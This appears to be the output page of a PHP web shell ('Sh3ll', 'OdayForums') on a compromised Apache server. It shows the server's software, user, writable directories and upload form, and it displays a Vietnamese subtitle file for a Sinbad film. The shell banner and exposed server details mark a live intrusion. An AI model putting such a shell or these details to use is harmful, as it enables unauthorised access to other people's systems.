����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c85dad56504d-1552276181.vtt
WEBVTT - https://subtitletools.com

00:00:31.990 --> 00:00:35.600
Đã lái tàu qua sự lắt léo của chuyến
du hành này và trở về,

00:00:35.700 --> 00:00:39.250
một lần nữa tôi lại thưởng thức
cuộc sống thầm lặng.

00:00:39.330 --> 00:00:42.200
Nhưng chẳng bao lâu sau
tôi trở nên mệt mỏi và rã rời,

00:00:42.200 --> 00:00:45.220
và mong chờ các
đại dương và những cuộc phiêu lưu.

00:00:45.300 --> 00:00:47.300
Câu chuyện của tôi bắt đầu với...

00:00:47.400 --> 00:00:49.850
Chuyến Đi Thứ Năm của tôi.

00:02:23.700 --> 00:02:27.400
SINBAD
Chuyến Đi Thứ Năm

00:04:04.240 --> 00:04:06.580
NHIỀU NĂM SAU ĐÓ...

00:04:26.140 --> 00:04:31.730
Một mùi vị rất quen thuộc của
bóng tối và sự dữ bao trùm không khí.

00:04:31.810 --> 00:04:34.690
Tại sao anh không nghĩ rằng
em không nghe được chứ nhỉ?

00:04:37.650 --> 00:04:42.780
Nó là...
tà thuật đấy, Thuyền trưởng Sinbad.

00:04:42.860 --> 00:04:46.620
Nếu lên bờ,
tất cả chúng ta sẽ chết mất.

00:04:47.950 --> 00:04:50.600
Thuyền thưởng à, mình hãy
lái thuyền ra khỏi nơi này đi.

00:04:51.600 --> 00:04:53.200
Chúng ta thật sự nên rời khỏi đây.

00:04:53.200 --> 00:04:55.300
Chúng ta vẫn chưa biết chuyện đó mà.

00:04:56.300 --> 00:04:58.790
Tôi đến viếng cung điện.

00:05:33.370 --> 00:05:36.500
- Zohreh!
- Thuyền trưởng Sinbad!
- Có chuyện gì xảy ra ở đây vậy?

00:05:36.600 --> 00:05:40.340
Đi với tôi. Đem theo người của ông.
Tôi sẽ nói với ông ở trong đó.

00:05:40.420 --> 00:05:43.000
MỘT ĐÊM TRƯỚC ĐÓ...

00:05:47.930 --> 00:05:54.770
Vị Quốc Vương giống như người cha
đối với tôi, và công chúa là tính mạng của tôi.

00:06:32.760 --> 00:06:37.500
Để giải trí hầu Quốc Vương triều Maleks,
và toàn thể triều đình của ngài,

00:06:37.500 --> 00:06:41.200
tôi xin giới thiêu...
một tiết mục của Quốc Vương.

00:06:50.740 --> 00:06:52.700
Quý khách yêu mến của ngài...

00:06:52.800 --> 00:06:55.660
và Bệ Hạ cao quý,

00:06:55.740 --> 00:06:59.120
Tôi rất hân hạnh được
diện kiến Vương Triều Maleks.

00:06:59.200 --> 00:07:03.040
Đêm nay, tôi sẽ cống hiến
một màn trình diễn thật độc đáo...

00:07:03.120 --> 00:07:07.790
mà sẽ đem lại sự hân hoan vui thú
thật sự cho công chúa của chúng ta.

00:07:17.350 --> 00:07:23.520
Chiếc hộp gỗ nhỏ này chứa đựng
không gì khác ngoài một số cát từ quê nhà tôi.

00:07:23.600 --> 00:07:29.440
Nhưng hãy trở nên nhiều hơn
và thực tế sẽ tạo hình thời gian.

00:08:43.680 --> 00:08:47.020
Cái đó quả là đáng kinh ngạc!

00:08:47.100 --> 00:08:51.310
Nói ta nghe đi, Hassan. Làm sao ông có thể
biểu diễn thần kỳ đến như vậy?

00:08:51.400 --> 00:08:54.900
Và, cái hộp gỗ đó.
Nó là cái gì vậy?

00:08:55.000 --> 00:08:57.530
Tâu Bệ Hệ, theo lời hứa của thần...

00:08:57.610 --> 00:09:01.280
cái hộp đó không chứa gì khác
ngoài một ít cát từ quê nhà thần,

00:09:01.360 --> 00:09:02.700
thần thú thật như vậy.

00:09:02.800 --> 00:09:07.450
Nhưng ngài phải cho phép pháp sư
khiêm tốn này giữ cái này bí mật.

00:09:07.540 --> 00:09:11.250
Khiêm tốn à?
Ông lại tự hạ mình rồi!

00:09:11.330 --> 00:09:15.800
Các cố vấn của ta đã nói với ta rằng
ông là người có pháp lực thần kỳ.

00:09:15.900 --> 00:09:18.300
Và họ đã không hề phóng đại.

00:09:18.460 --> 00:09:25.600
Ông bạn, ta hứa
ông sẽ được tưởng thưởng trọng hậu
vào cuối buổi tối huy hoàng này.

00:09:25.900 --> 00:09:29.470
Chuyện đó thần tuyệt đối
không hồ nghi, tâu Bệ Hạ.

00:09:29.560 --> 00:09:31.600
Và giờ với sự cho phép của ngài,

00:09:31.650 --> 00:09:35.230
thần sẽ trình diễn màn pháp thuật
người thu tro cốt, đối với công chúa,

00:09:35.310 --> 00:09:39.980
để chúc mừng đám cưới sắp tới của
công chúa với Thuyền trưởng Sinbad.

00:09:40.070 --> 00:09:42.600
Thần chẳng thể không tự hỏi...

00:09:42.700 --> 00:09:46.450
làm sao mà ông ta có thể bỏ qua
giờ phút tưng bừng tuyệt vời thế này chứ?

00:09:50.830 --> 00:09:54.410
Chúng tôi đã du hành được
nhiều ngày và đêm...

00:09:54.500 --> 00:09:59.840
cho đến khi chúng tôi sau cùng đến
một hòn đảo lớn, hoang vu...

00:09:59.920 --> 00:10:03.260
hay chúng tôi đã nghĩ là thế.

00:12:00.700 --> 00:12:05.000
Tôi không thể đi
mà không có miếng bùa, Nữ thần ạ.

00:12:55.420 --> 00:12:58.180
Cái đó có hơi quá cá nhân đấy!

00:13:52.600 --> 00:13:58.780
Sinbad à, mình đã có nhiều vàng và đá quý rồi.
Vậy có gì đặc biệt với miếng bùa này chứ?

00:13:59.820 --> 00:14:02.500
Nó sẽ là quà cưới của anh
tặng công chúa.

00:14:03.300 --> 00:14:05.100
Nàng đã mơ ước có nó từ lâu rồi.

00:14:05.160 --> 00:14:08.000
Và giờ đây anh đang làm cho
ước mơ của nàng thành hiện thực.

00:14:08.100 --> 00:14:09.000
Tất nhiên!

00:14:09.410 --> 00:14:13.920
Đàn ông tặng hoa.
Anh tặng miếng bùa thần.

00:14:15.380 --> 00:14:20.420
Em ước gì anh sẽ không phí phạm
phép tàng hình vào một món quà cưới.
Em có thể làm khá hơn anh nhiều.

00:14:20.510 --> 00:14:24.260
Á-ạ! Cô nói nghe như một
tên trộm thứ thật vậy, Firoozeh.

00:14:25.640 --> 00:14:27.930
Chúng ta đang đem cái này về nhà.

00:14:38.440 --> 00:14:44.200
Và giờ với sự chấp thuận của ngài,
thần sẽ trình diễn màn pháp thuật
người thu tro cốt lên công chúa,

00:14:44.280 --> 00:14:49.030
để chúc mừng đám cưới sắp tới của
công chúa với Thuyền trưởng Sinbad.

00:14:49.120 --> 00:14:51.500
Thần chẳng thể không tự hỏi...

00:14:51.700 --> 00:14:55.670
làm sao mà ông ta có thể bỏ qua
giờ phút tưng bừng tuyệt vời thế này chứ?

00:14:56.200 --> 00:14:59.380
- Cứ làm đi.
- Công chúa.

00:15:11.430 --> 00:15:16.300
Tôi chỉ có thể đem một thứ
đáng giá, nàng công chúa đẹp tuyệt.

00:15:20.900 --> 00:15:22.860
Giống như thiên đàng vậy.

00:15:27.150 --> 00:15:29.820
Cho cô, con bướm.

00:15:33.030 --> 00:15:38.790
Ôi, ước gì ta có thể
có mãi giây phút kỳ diệu này chứ!

00:15:38.870 --> 00:15:43.400
Tâu Bệ Hạ,
sẽ như ý ngài muốn!

00:15:53.750 --> 00:15:55.800
Ta đến để làm
cái đó trong đây này.

00:15:56.500 --> 00:15:58.760
Ta để ngươi làm à.

00:16:05.400 --> 00:16:07.150
Parisa!

00:16:07.980 --> 00:16:11.200
Parisa!

00:16:13.620 --> 00:16:15.580
Parisa!

00:16:33.720 --> 00:16:37.350
Đi với tôi, đem theo người của ông.
Tôi sẽ nói với ông ở trong kia.

00:16:43.730 --> 00:16:45.500
Zohreh, chuyện gì
đã xảy ra ở đây vậy?

00:16:45.900 --> 00:16:49.150
Miếng bùa ông tìm, ông có nó không?

00:16:49.230 --> 00:16:51.940
Đưa miếng bùa cho chúng tôi đi.

00:16:54.610 --> 00:16:59.240
Nhưng Parisa đã bảo là
nó cho phép tàng hình mà.

00:16:59.330 --> 00:17:02.350
Giấc mơ của công chúa không thể
dễ dàng thẳng thừng diễn giải đâu.

00:17:02.410 --> 00:17:07.790
Có một lý do khiến nó được gọi là bùa
sinh mạng, chứ không phải là bùa tàng hình.

00:17:19.260 --> 00:17:20.900
Phản tặc!

00:17:21.000 --> 00:17:25.640
Tâu Bệ Hạ. Zohreh đã nói cho
bọn thần biết hết rồi.
Lẽ ra thần đã phải có mặt ở đây.

00:17:25.730 --> 00:17:28.980
Ta sợ hắn đưa công chúa cho Tử thần.

00:17:29.060 --> 00:17:33.610
Hắn không thích thú gì
thân xác của Parisas đâu.

00:17:33.690 --> 00:17:40.450
Cái hắn muốn là hồn của công chúa.
Hắn được mệnh danh là
Kẻ Thần Bí Trắng (White Deev).

00:17:40.500 --> 00:17:42.800
Hắn là một pháp sư của tà thuật,

00:17:42.850 --> 00:17:47.210
kẻ chuyên uống hồn người vô tội và
mạnh nhờ năng lực của nạn nhân.

00:17:47.290 --> 00:17:50.630
Nếu hắn cướp đi hồn của công chúa,

00:17:51.710 --> 00:17:55.880
thì chẳng thà nàng
đừng bao giờ sinh ra còn hơn.

00:17:55.960 --> 00:17:58.000
Kẻ Thần Bí Trắng này cư ngụ ở đâu?

00:17:58.000 --> 00:18:03.500
Hắn sống ở ngay giữa một đảo lớn
gọi là Macedonia.

00:18:04.470 --> 00:18:07.020
Đó là một nơi tà ảo.

00:18:07.100 --> 00:18:11.480
Bà pháp sư già giải thích rằng
tôi là cơ hội duy nhất mà Quốc Vương có được...

00:18:11.560 --> 00:18:18.400
và rằng tôi phải du hành đến
đại sa mạc tà ảo trong dưới 40 ngày đêm.

00:18:41.550 --> 00:18:44.200
Khi chúng tôi lái tới vùng đất chưa biết đến,

00:18:44.200 --> 00:18:48.100
các ý nghĩ về công chúa là
tất cả những gì tôi có trong tôi.

00:19:36.940 --> 00:19:41.900
- Sinbad, con tàu hầu như đã sẵn sàng rồi.
- Nó sẵn sàng rồi à?

00:19:45.490 --> 00:19:47.500
Hai người có thể
không bao giờ bên nhau.

00:19:47.500 --> 00:19:50.830
Anh càng chấp nhận chuyện đó nhanh hơn,
thì càng tốt hơn cho cô ta.

00:19:51.000 --> 00:19:56.000
Không công chúa nào của triều Malek
có thể yêu một thường dân. Đó là luật.

00:20:02.420 --> 00:20:05.100
Cậu ta lại đến rồi!

00:20:05.100 --> 00:20:09.300
Mỗi ngày đều đến một chỗ,
nhìn sững như một tên đói ăn vậy!

00:20:09.400 --> 00:20:12.310
Tôi khá thích cách
anh ta nhìn ngắm tôi.

00:20:12.390 --> 00:20:15.220
Quân đâu, hạ ta xuống!

00:20:15.310 --> 00:20:19.940
Đừng có lo, Zohreh à.
Cận vệ sẽ bảo vệ chúng ta
trong khu vực thành phố mà.

00:20:20.020 --> 00:20:23.650
Quân canh là người thôi.

00:20:23.730 --> 00:20:28.700
Không kẻ nào trong bọn họ bảo vệ
phẩm hạnh của cô như tôi đâu, công chúa à.

00:20:30.570 --> 00:20:36.410
Từ giờ trở đi, hãy nhớ lấy,
cô là một công chúa.

00:20:38.580 --> 00:20:43.350
À, em cho rằng anh đã nhất quyết
muốn thấy đầu anh lìa khỏi cổ rồi đó.

00:20:53.600 --> 00:20:55.850
Ai gọi tôi vậy?

00:20:55.930 --> 00:21:02.560
Đôi mắt tôi là hai có thể nhìn ra biển,
nhưng hắn chỉ có có một mắt.

00:21:02.650 --> 00:21:06.690
Chỉ với con tim
người đó mới được tự do.

00:21:06.770 --> 00:21:09.860
"Đôi mắt tôi là hai có thể nhìn ra biển."

00:22:18.340 --> 00:22:22.390
Tàu của tôi đã chìm xuống
tận đáy biển.

00:22:29.980 --> 00:22:31.860
Ống nhòm.

00:23:58.360 --> 00:24:03.740
Có cái gì khổng lồ trên đảo này không?

00:24:11.290 --> 00:24:12.800
Đồ khờ, các anh không biết
mình đang làm gì đâu.

00:24:12.800 --> 00:24:14.850
Này, Thuyền trưởng.
Bọn tôi đói gần chết đây, làm ơn đi.

00:24:14.900 --> 00:24:18.460
Đàn ông đói không có hỏi.
Lấy nó, ngay đi!

00:24:18.540 --> 00:24:21.210
Bây giờ khoan đã.
Đó là mệnh lệnh.

00:24:22.600 --> 00:24:24.000
Có chim!

00:24:35.890 --> 00:24:39.690
Abdul, nghe tôi nói đây. Chúng ta đã được
nói rằng nó chỉ bảo vệ trứng của nó thôi.

00:24:39.770 --> 00:24:41.400
Cứ yên đi.

00:24:45.800 --> 00:24:48.660
Anh sẽ ổn mà.
Đừng tấn công nó.

00:24:51.700 --> 00:24:53.960
Cứu tôi!
Á!

00:24:57.200 --> 00:25:00.130
Đừng! Ở yên phía sau!
Ở yên phía sau!

00:25:03.750 --> 00:25:06.300
Mình hãy quay về cắm trại đi.

00:25:13.890 --> 00:25:18.140
Zohreh đã nói
đây là vùng hoang sơ.

00:25:19.770 --> 00:25:21.500
Bà ấy đã nói đúng.

00:25:22.600 --> 00:25:24.650
Từ nay chúng ta
sẽ rất, rất là mệt mỏi đấy.

00:25:24.730 --> 00:25:27.100
Tại sao anh không để
bọn tôi giết con chim đó chứ?

00:25:27.300 --> 00:25:29.320
Không cần thiết đâu, Mujeed.

00:25:29.400 --> 00:25:33.370
Không cần à?
Nó đã xém giết Abdul đấy.

00:25:33.450 --> 00:25:36.200
Abdul vẫn còn sống mà.

00:25:40.210 --> 00:25:46.550
Cái kiểu suy nghĩ đó khiến chúng ta thành
những quái vật thật sự, chứ không phải chúng.

00:25:48.590 --> 00:25:50.840
Phải rồi, Captain.

00:26:07.570 --> 00:26:09.650
Parisa, bây giờ nàng ở đâu?

00:26:12.610 --> 00:26:18.600
Đang có giấc mơ đẹp
về người yêu Sinbad của cô hả?

00:26:24.170 --> 00:26:26.420
Công chúa.

00:26:27.960 --> 00:26:31.710
Sinbad sẽ đến cứu ta.
Ta đã thấy trước điều đó.

00:26:35.470 --> 00:26:40.180
Tàu của hắn hiện đang
chìm dưới đáy biển rồi.

00:26:43.020 --> 00:26:47.400
Còn hắn thì đang bơi...
tới bờ đảo của tôi.

00:26:47.960 --> 00:26:52.820
Vậy chẳng phải là...
tự sát sao?

00:26:53.740 --> 00:26:58.530
- Ngươi muốn gì đây?
- Vấn đề không phải là tôi muốn gì...

00:27:00.080 --> 00:27:04.450
mà là sẽ như thế nào.

00:27:04.540 --> 00:27:07.500
Tôi sẽ cho cô thấy...

00:27:08.670 --> 00:27:11.460
điều đó có nghĩa là gì.

00:27:13.500 --> 00:27:16.500
Cô hiểu điều đó chứ?

00:27:21.400 --> 00:27:23.100
Không.

00:28:17.360 --> 00:28:19.000
Thuyền trưởng à.

00:28:20.070 --> 00:28:25.030
- Tạ ơn trời, có cái để uống rồi!
- Trông nó giống như mật vậy!

00:28:46.550 --> 00:28:50.890
Em nghĩ các anh khát,
nhưng em hết cạn cả nước rồi.

00:28:50.970 --> 00:28:53.750
Đây là một hòn đảo.
Chắc chắn ta sẽ tìm ra nước mau thôi.

00:28:53.750 --> 00:28:55.700
Đảo gì mà lại có sa mạc trên đó chứ?

00:28:55.800 --> 00:28:57.800
Đó là môt cái mỏm kéo dài
hết hải lý nay sang hải lý khác.

00:28:57.850 --> 00:29:00.700
- Các bờ biển khác ở đâu?
- Phải rồi, Thuyền trưởng, các bờ khác ở đâu?

00:29:00.700 --> 00:29:02.150
- Nó ở đâu?
- Nó ở đâu đây?

00:29:02.200 --> 00:29:06.110
Bộ các anh muốn
nói sao nên vậy sao?

00:29:06.200 --> 00:29:09.530
Đây là một hòn đảo. Ta sẽ tìm ra nước.
Trữ chúng để dùng trong sa mạc.

00:29:09.620 --> 00:29:14.120
Vậy thì tôi phải giải quyết cơn khát
của tôi với mật này đã.

00:29:14.210 --> 00:29:17.880
Jamal, anh không biết nó
có có độc hay không đấy.

00:29:17.960 --> 00:29:20.800
Xin lỗi nhé, Thuyền trưởng,
nhưng tôi--

00:29:43.650 --> 00:29:46.360
Không ai cử động!
Không một động tác nào!

00:29:49.800 --> 00:29:50.600
Ối!

00:29:52.300 --> 00:29:54.900
- Á!
- Virnee, không!

00:29:55.870 --> 00:29:59.000
- Tản ra!
- Á! Không, không, không!

00:29:59.360 --> 00:30:01.360
Đây này! Đây này!

00:30:02.650 --> 00:30:04.980
Á! Á!
Không!

00:32:18.930 --> 00:32:22.140
Ta tự hỏi không biết bao nhiêu thợ
mới dệt được cái này?

00:32:22.220 --> 00:32:26.000
Tốn biết bao nhiêu năm để làm ra,
mà giờ đây coi kìa, nó hoàn toàn bị hủy hoại.

00:32:26.250 --> 00:32:28.000
Phải.

00:32:28.480 --> 00:32:31.310
Tại sao chúng ta không ngưng
chuyện này lại chứ, người đẹp?

00:32:31.400 --> 00:32:36.400
Parisa, ta không quen việc du hành
trong biển tình trong tim một phụ nữ đâu,

00:32:36.600 --> 00:32:38.030
mà luôn luôn có công việc trên biển.

00:32:38.030 --> 00:32:44.410
Đàn bà không khó hiểu đến thế đâu, chàng
biết không. Bọn ta muốn những thứ đơn giản.

00:32:44.490 --> 00:32:48.620
Ngay cả kiểu cách của một công chúa
cũng còn quý hơn châu báu nữa.

00:32:48.710 --> 00:32:54.600
Chỉ thỉnh thoảng một nụ cười, một bài thơ,
một cái gì đó ca tụng nàng thôi.

00:32:54.600 --> 00:32:56.400
Ừ.

00:32:58.130 --> 00:33:02.220
Ánh trăng sáng phản ảnh
khuôn mặt rạng rỡ của nàng.

00:33:02.300 --> 00:33:08.060
Đôi gò má trắng như phủ tuyết của nàng
cung cấp nước và sự khoan hòa.

00:33:08.140 --> 00:33:12.770
Con tim nặng chĩu của ta khao khát
được hòa nhịp với khuôn mặt của nàng.

00:33:14.270 --> 00:33:17.980
Ta tiến tới,
ta phải quay trở lại.

00:33:18.070 --> 00:33:22.070
Nàng yêu cầu,
ta sẽ ấp ủ.

00:33:47.800 --> 00:33:48.850
Tôi là Sinbad.

00:33:48.850 --> 00:33:53.100
Tôi biết ông là ai.
Tôi cũng biết tại sao ông đến đây.

00:33:55.440 --> 00:33:57.610
Mời vào trong đây.

00:34:14.910 --> 00:34:16.500
Là Firooz?

00:34:16.600 --> 00:34:19.320
Sinbad, ông anh tôi đang đến,
đúng không?

00:34:27.200 --> 00:34:30.250
Thuyền trưởng à,
có gì mà đi lâu quá vậy?

00:34:30.300 --> 00:34:33.100
Tôi cứ ngỡ mấy sinh vật đó đã
bắt các người cả rồi,

00:34:33.180 --> 00:34:37.270
nhưng tôi thấy dân làng ở đây
đối xử với các người rất tốt.

00:34:37.350 --> 00:34:41.770
Phải, và họ cũng đang cho tụi em
ăn uống rất đầy đủ.

00:34:41.860 --> 00:34:45.690
- Thuyền trưởng à,
mình hãy nâng ly mừng đời sống đi.
- Mừng đời sống.

00:35:41.800 --> 00:35:44.330
Sinbad đây,
thưa Hoàng Thượng.

00:35:46.250 --> 00:35:51.380
Các thám tử của ta đã báo cho ta biết rằng
ngươi đã bí mật gặp gỡ con gái ta.

00:35:53.590 --> 00:35:58.140
Tâu bệ hạ, thần vui sướng thú nhận...

00:35:58.220 --> 00:36:04.100
rằng thần đã yêu Công chúa Parisa
và thần sẽ làm bất cứ điều gì để cưới nàng.

00:36:04.200 --> 00:36:07.100
Ngài cho nàng nói ra đi,
sao thần cũng chấp nhận.

00:36:07.200 --> 00:36:13.070
- Nhưng tên của thần là--
- Sinbad! Tên của ngươi danh chấn hơn ngươi!

00:36:13.150 --> 00:36:18.450
Con gái ta đã nói với ta rằng ngươi
luôn luôn đối với nó như một kẻ lịch lãm,

00:36:18.530 --> 00:36:22.660
và rằng tình yêu của nó
cũng bằng tình của ngươi.

00:36:24.460 --> 00:36:26.620
Cái đó không thể nào đâu!

00:36:26.710 --> 00:36:32.630
Vì mặc dù ngươi là một người nổi tiếng,
ngươi cũng chỉ là một thường dân thôi.

00:36:32.710 --> 00:36:35.840
Thưa cha, con không ngại đâu.

00:36:35.930 --> 00:36:39.000
Tưởng tượng xem, dân của cha sẽ
yêu cha đến thế nào...

00:36:39.000 --> 00:36:42.060
nếu cha cho con gái duy nhất của cha
cho một người trong bọn họ.

00:36:43.310 --> 00:36:47.730
Quả là một ý tưởng
tuyệt đối đáng sợ!

00:36:47.810 --> 00:36:50.600
Con nói rằng con yêu người đàn ông này,
hôm nay thì thế,

00:36:50.600 --> 00:36:52.900
nhưng con nghĩ
con sẽ cảm thấy thế nào...

00:36:52.940 --> 00:36:56.700
sau khi con đã sống trọn cả đời
trong nghèo khó?

00:36:56.750 --> 00:36:58.690
Bởi vì cha sẽ không
tiếp trợ gì trong đó.

00:37:00.200 --> 00:37:03.620
- Con sẽ vẫn yêu chàng, thưa Cha!
- Sinbad,

00:37:03.700 --> 00:37:09.000
Ta sẽ ban cho ngươi năm lần hơn số tiền vàng
mà lẽ ra ta phải thưởng cho việc bắt giữ ngươi,

00:37:09.050 --> 00:37:13.840
và một con tàu thật tốt nữa,
nếu ngươi thề với ta...

00:37:13.920 --> 00:37:19.090
rằng ngươi sẽ căng buồm ra khơi hôm nay
và sẽ không bao giờ gặp gỡ con gái ta nữa.

00:37:19.180 --> 00:37:23.000
Dù sao đi nữa, thần nghĩ
bệ hạ đã biết câu trả lời của thần rồi.

00:37:23.000 --> 00:37:27.640
Nghe lời ta đi, Sinbad,
bởi vì ta là một người công bằng.

00:37:27.730 --> 00:37:34.150
Ta cũng ban cho ngươi một cơ hội
để biến ước vọng của ngươi thành hiện thực.

00:37:34.230 --> 00:37:37.800
Ngươi có thể cưới con gái ta
ngày hôm nay,

00:37:37.900 --> 00:37:44.030
nhưng một phút sau khi hai ngươi
được công bố là vợ chồng,

00:37:47.040 --> 00:37:50.040
- ngươi sẽ bị chém đầu.
- Cha à!

00:37:50.120 --> 00:37:53.450
Cha chưa bao giờ man rợ như thế này!
Cha là kẻ tệ nhất trong đám hạ cấp.

00:37:53.450 --> 00:37:57.400
Làm sao cha có thể như vậy được
với con gái ruột của cha và
người nam mà nó yêu chứ?!

00:37:57.400 --> 00:38:00.340
Bởi vì cha là Quốc Vương!

00:38:00.420 --> 00:38:05.140
Người này không chỉ
khao khát mình con đâu, Parisa.

00:38:05.220 --> 00:38:09.930
Hắn còn đang tìm kiếm số phận
của toàn thể vương quốc của cha nữa.

00:38:10.020 --> 00:38:13.770
Vì con không phải là một
người con gái bình thường.

00:38:13.850 --> 00:38:17.690
Tương lai của con sẽ
phải gắn bó mãi mãi.

00:38:17.770 --> 00:38:24.660
Và nếu cha mất con,
cha mất đi bất kỳ cơ hội nào để có được
một người thừa kế trong hoàng tộc.

00:38:24.740 --> 00:38:28.660
Vậy, chọn ngay bây giờ đi, Sinbad!

00:38:35.290 --> 00:38:41.300
- Có gì không ổn với đồ ăn à?
- Không, bầu trời thật là đẹp.

00:38:41.380 --> 00:38:44.170
Có gì không ổn với em à?

00:38:44.260 --> 00:38:50.510
Có lời chép rằng
một nam nhân đến từ biển sẽ tiêu diệt
mọi sự dữ trong vùng đất bất hạnh này.

00:38:51.890 --> 00:38:56.190
Hầu hết nam nhân đều nghĩ rằng
chung đụng với nhau là bất khả kháng.

00:38:57.440 --> 00:39:02.730
Nhưng chàng,
chàng còn sở hữu cái gì khác à?

00:39:02.820 --> 00:39:06.400
Sinbad. Sinbad.

00:40:07.800 --> 00:40:10.720
- Sinbad.
- Firooz, cô vẫn còn sống!

00:40:12.340 --> 00:40:14.000
Em nghĩ là em còn sống.

00:40:14.400 --> 00:40:16.500
Chúng ta hãy coi cái khác.
Ta đi thôi! Cô phải đi với anh.

00:40:16.500 --> 00:40:20.600
Ồ, không.
Sinbad, em có một ý tưởng. Coi kìa.

00:40:23.980 --> 00:40:30.110
- Tất cả em xin chỉ là anh chờ đây với em thôi.
- Không! Cô  phải đi với anh. Đứng dậy đi!

00:40:30.190 --> 00:40:34.620
Không, Sinbad.
Đây là cách duy nhất.

00:41:31.880 --> 00:41:35.010
Thật tội cho Firooz!

00:41:35.090 --> 00:41:39.800
Vậy thì xem ra...
phải giúp vui cho cô...

00:41:39.890 --> 00:41:43.520
bằng một pháp thuật khác rồi.

00:41:44.390 --> 00:41:48.690
Như cô biết đó, tôi rất
có khả năng trong việc vận dụng thời gian.

00:41:55.400 --> 00:41:59.070
Đây là con của cô,

00:42:00.200 --> 00:42:04.870
của cô và Sinbad.

00:42:07.790 --> 00:42:12.040
- Tại sao tôi phải tin cái này là thật chứ?
- Bởi vì...

00:42:12.130 --> 00:42:17.630
sức mạnh của sự cảm xúc của con người
tạo ra thời gian,

00:42:19.010 --> 00:42:23.750
trong thời gian và không gian.

00:42:29.310 --> 00:42:34.600
Tôi không đủ sức
để thay đổi chúng.

00:42:34.800 --> 00:42:36.270
Nhưng...

00:42:38.700 --> 00:42:45.200
...để nắm bắt những cực điểm và
dùng chúng để du hành đến đó đúng lúc.

00:42:46.660 --> 00:42:51.830
Tôi không đủ mạnh nhưng sẽ mau chóng
có mặt ở đó để thay đổi.

00:42:54.500 --> 00:42:57.550
Nhưng chàng Sinbad của tôi vẫn sống.

00:42:59.960 --> 00:43:04.430
Tôi sẽ đạt được cách thức đó
nếu chúng muốn,

00:43:06.800 --> 00:43:11.180
sau khi chúng ta quan sát
số phận của chính cô.

00:43:14.980 --> 00:43:16.900
Thật là quá tệ.

00:43:20.690 --> 00:43:24.650
Tôi thấy cô chẳng có gì cả.

00:45:29.110 --> 00:45:32.450
- Sinbad?
- Firooz, cô vẫn còn sống à?

00:45:34.030 --> 00:45:39.200
- Là một hồn đào thoát à?
- Ta biết ngươi là ai.

00:45:39.200 --> 00:45:43.330
Họ biết ta biết phải chiến đấu với cái gì.
Vào hàng đi!

00:45:45.900 --> 00:45:47.800
Ồ!

00:45:48.000 --> 00:45:50.700
Ngươi vẫn còn sống à?

00:45:50.700 --> 00:45:55.180
Bỏ đi.
Chỗi dậy! Đứng sang một bên!

00:45:56.840 --> 00:46:04.500
Khoan đã. Đây là những người
can đảm và chân thật.
Tại sao họ không được lên thiên đàng?

00:46:04.500 --> 00:46:07.020
Họ vẫn chưa được phán xét.

00:46:07.100 --> 00:46:11.690
Họ đã làm gì mà phải chết chứ?
Họ chắc hẳn không đáng bị thế này.

00:46:11.780 --> 00:46:18.070
Có một lời nguyền cho tất cả các sinh vật này.
Người của ngươi cũng là sinh vật.

00:46:18.160 --> 00:46:24.600
Bọn ta đã được định phận phải bước đi
trên các đồi cát trong sa mạc này, vĩnh viễn.

00:46:25.290 --> 00:46:28.460
Đưa gã này đi!

00:46:28.540 --> 00:46:30.460
Khoan đã!

00:46:32.210 --> 00:46:37.760
- Ngươi có phải là một tay đánh cuộc?
- Ngươi, ta không hề có nhu cầu.

00:46:37.840 --> 00:46:44.100
Sớm muộn gì ngươi cũng thuộc về ta.
Tất cả các ngươi sau cùng rồi cũng vậy thôi.

00:46:46.640 --> 00:46:50.000
Nhưng ngươi có nhiều việc để làm,
nhiều chỗ để đi.

00:46:50.100 --> 00:46:53.700
Nếu ngươi bị kẹt một cái gì,
coi chừng các hồn này thoát đi hết cả.

00:46:53.770 --> 00:46:56.900
Quá đúng đi, Sinbad.

00:46:58.530 --> 00:47:03.580
Giết là phần tự nhiên
của đại mạc...

00:47:03.660 --> 00:47:07.290
của sự sống...
và thời gian.

00:47:07.370 --> 00:47:10.920
Lời nguyền cũng là một phần
của thế giới này.

00:47:11.000 --> 00:47:16.920
Nhưng để lấy một cuộc đời theo một cách
không tự nhiên và cũng như lời nguyền...

00:47:17.010 --> 00:47:21.010
thì...
được gọi là trở mặt gấp.

00:47:22.640 --> 00:47:25.510
Vậy có lẽ ta chờ
để nói với ngươi điều này.

00:47:26.810 --> 00:47:30.100
Nếu ta tìm thấy Kẻ Thần Bí Trắng đó...

00:47:30.400 --> 00:47:32.500
và giết hắn,

00:47:33.150 --> 00:47:39.110
ngươi phải thả các hồn này ra, và
không hồn nào trong họ phải làm một việc gì.

00:47:42.110 --> 00:47:45.250
Còn nếu như ngươi thua?

00:47:45.300 --> 00:47:51.120
Nếu ta thua, ta sẽ thế chỗ ngươi
và canh giữ những hồn này đến muôn đời.

00:47:52.910 --> 00:47:55.830
Ngươi ắt hẳn là thua rồi.

00:47:55.920 --> 00:48:00.800
Có sự dẫn đầu,
ta thắng.

00:48:00.880 --> 00:48:03.840
Nhưng để cảnh cáo ngươi, Sinbad,

00:48:03.930 --> 00:48:08.760
ở địa vị ta là
một sự chịu đựng cùng tột hơn cả.

00:48:08.850 --> 00:48:15.810
Ta đã phải mang tất cả sự mất mát và
bọn ta là đã thuần thục đi bộ.

00:48:16.300 --> 00:48:20.360
Và ngươi sẽ làm thế
đến vô tận,

00:48:20.440 --> 00:48:23.820
nếu ngươi thua.

00:48:25.100 --> 00:48:28.900
Ngươi hiện còn muốn đặt cược chứ?

00:48:35.410 --> 00:48:37.170
Phải.

00:48:38.200 --> 00:48:39.500
Muốn.

00:48:39.500 --> 00:48:41.270
Đi đi!

00:49:10.870 --> 00:49:12.800
Ngươi là ai?

00:49:14.100 --> 00:49:17.500
Trong khi ngươi nghĩ
bức tranh này nói lên hàng ngàn lời,

00:49:17.580 --> 00:49:22.500
- ngươi cũng không cần cái đó nữa.
- Trông ông giống như Quốc Vương.

00:49:22.600 --> 00:49:27.630
Ngươi thấy cái ngươi ước được thấy.
Chỉ cái ngươi có thể muốn thấy mà thôi.

00:49:27.720 --> 00:49:31.840
Tinh thần trở thành một phần của ngươi,
